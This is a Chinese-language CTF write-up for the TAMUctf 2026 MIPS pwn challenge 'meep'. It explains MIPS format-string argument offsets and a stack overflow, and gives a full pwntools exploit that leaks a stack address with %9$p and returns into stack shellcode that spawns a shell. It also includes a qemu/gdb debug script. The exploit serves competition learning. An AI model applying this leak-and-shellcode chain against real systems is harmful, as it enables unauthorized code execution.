meep

❯ checksec ./meep
[*] '/home/zenduk/桌面/tamuctf/meep/lib-mips/meep'
    Arch:       mips-32-big
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    RUNPATH:    b'/lib'
    Stripped:   No
    Debuginfo:  Yes

mips架构,32位,什么保护都没开。

先是一个格式化字符串漏洞,然后是一个read到栈上,有栈溢出,那我们就第一次泄露栈地址,然后打ret2shellcode(栈可执行)。

这里要注意的可能就是格式化字符串参数的计算了。

tamuctf2026meep (1).png

在 MIPS 调用 printf 时,前四个参数位在栈上是预留出来的(即使 $a0-$a3 已经传了值)。

  • $sp + 0x00 : 对应 $a0 的预留位
  • $sp + 0x04 : 对应 $a1 的预留位 → %1$p
  • $sp + 0x08 : 对应 $a2 的预留位 → %2$p
  • $sp + 0x0c : 对应 $a3 的预留位 → %3$p
  • $sp + 0x10 : 栈上第一个真正的“额外”参数 → %4$p

所以这里我们使用%9p泄露栈地址

然后看我们read的会写在哪个栈地址,计算这个栈地址和泄露的栈地址的偏移

tamuctf2026meep (2).png

然后就是计算填充量

-0000000000000088     _DWORD var_88;
-0000000000000084     // padding byte
-0000000000000083     // padding byte
-0000000000000082     // padding byte
-0000000000000081     // padding byte
-0000000000000080     char cmd[128];
+0000000000000000     _DWORD var_s0;
+0000000000000004     _DWORD var_s4;
+0000000000000008     _DWORD var_s8;
+000000000000000C     _DWORD var_sC;
+0000000000000010
+0000000000000010 // end of stack variables

cmd是我们写入的变量,然后看汇编:

nop
move    $sp, $fp
lw      $ra, 0x98+var_sC($sp)
lw      $fp, 0x98+var_s8($sp)
lw      $s1, 0x98+var_s4($sp)
lw      $s0, 0x98+var_s0($sp)
addiu   $sp, 0xA8
jr      $ra
nop

我们可以看到返回地址存在ra也就是var_sC

那我们的覆盖量就是0x80+0xc = 0x8c

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '127.0.0.1 9001'

file_name = './meep'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"

if switch:
   parts = target.replace(':', ' ').split()
   host = parts[-2]
   port   = int(parts[-1])
   p = remote(host, port)
elif gdb_:
   p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
   p = process(file_name)

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def rn(numb):            return p.recvn(numb)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def a(f, off=libc):      return lg(hex(off), (ret := f.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def ntlbc(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None):                    return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed):     return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed):    return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]

_rop_cache = {}
def gg(s, f=None):
   target = f or libc
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   gadget = rop.find_gadget(instrs)
   if gadget:
       addr = gadget.address
       lg(s, addr)
       return addr
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = data if data else ru(delim)
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################

sa(b"Enter admin name: ",b"%9$p")
ru(b"\nHello:\n")
leak = ga(b"Enter")[0]
target = leak - 0x1ec
payload = flat([
    asm(shellcraft.mips.linux.sh()),
]).ljust(140, b"\x00") + p32(target)
sa(b"command:\n", payload)
it()



调试脚本:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = ''

file_name = './meep'
ld_name   = './ld.so.1'
libc_name = './libc.so.6'

args = ["qemu-mips",ld_name, "--library-path", ".", file_name]
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
0x40094c
]
gdb_cmd_list = [
    "set architecture mips",
    "set endian big",
    "set sysroot .", 
    "set solib-search-path .",
    "target remote :1234",
    f"file {file_name}",
    "set breakpoint pending on",
    "b main",
    # "c"
]

for b in bps:
    if isinstance(b, int):
        gdb_cmd_list.append(f"b *{hex(b)}")
    elif isinstance(b, str):
        gdb_cmd_list.append(f"b {b}")

gdb_cmd_list.append("c")

gdb_cmd = ''
if gdb_ :
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb_cmd += "c\n"


if gdb_:
   args = ["qemu-mips", "-g", "1234", ld_name, "--library-path", ".", file_name]
   p = process(args)
   os.environ['PWNLIB_GDB'] = '/usr/bin/gdb-multiarch'
   ex_args = ' '.join([f'-ex "{cmd}"' for cmd in gdb_cmd_list])
   tmux_cmd = f"tmux splitw -h 'gdb-multiarch -q {file_name} {ex_args}; read'"
   os.system(tmux_cmd)
else:
   p = process(args)

#################################################################################
p.wait_for_close()

题目链接:tamuctf-2026/pwn/meep at main · tamuctf/tamuctf-2026


meep
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-LBxk9AhD
作者
ZenDuk
发布于
2026年04月12日
许可协议